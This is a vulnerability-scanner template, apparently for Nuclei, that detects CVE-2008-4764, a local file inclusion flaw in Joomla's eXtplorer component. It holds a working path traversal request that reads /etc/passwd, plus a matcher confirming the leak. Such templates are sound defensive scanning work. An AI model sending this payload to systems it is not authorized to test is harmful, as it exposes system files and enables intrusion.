id: CVE-2008-4764
info:
name: Joomla! <=2.0.0 RC2 - Local File Inclusion
author: daffainfo
severity: medium
description: Joomla! 2.0.0 RC2 and earlier are susceptible to local file inclusion in the eXtplorer module (com_extplorer) that allows remote attackers to read arbitrary files via a .. (dot dot) in the dir parameter in a show_error action.
remediation: |
Upgrade Joomla! to a version higher than 2.0.0 RC2 to mitigate the vulnerability.
reference:
- https://www.exploit-db.com/exploits/5435
- https://exchange.xforce.ibmcloud.com/vulnerabilities/41873
- https://nvd.nist.gov/vuln/detail/CVE-2008-4764
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score: 5
cve-id: CVE-2008-4764
cwe-id: CWE-22
epss-score: 0.02365
epss-percentile: 0.88655
cpe: cpe:2.3:a:extplorer:com_extplorer:*:rc2:*:*:*:*:*:*
metadata:
max-request: 1
vendor: extplorer
product: com_extplorer
tags: edb,cve,cve2008,joomla,lfi
http:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc%2Fpasswd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
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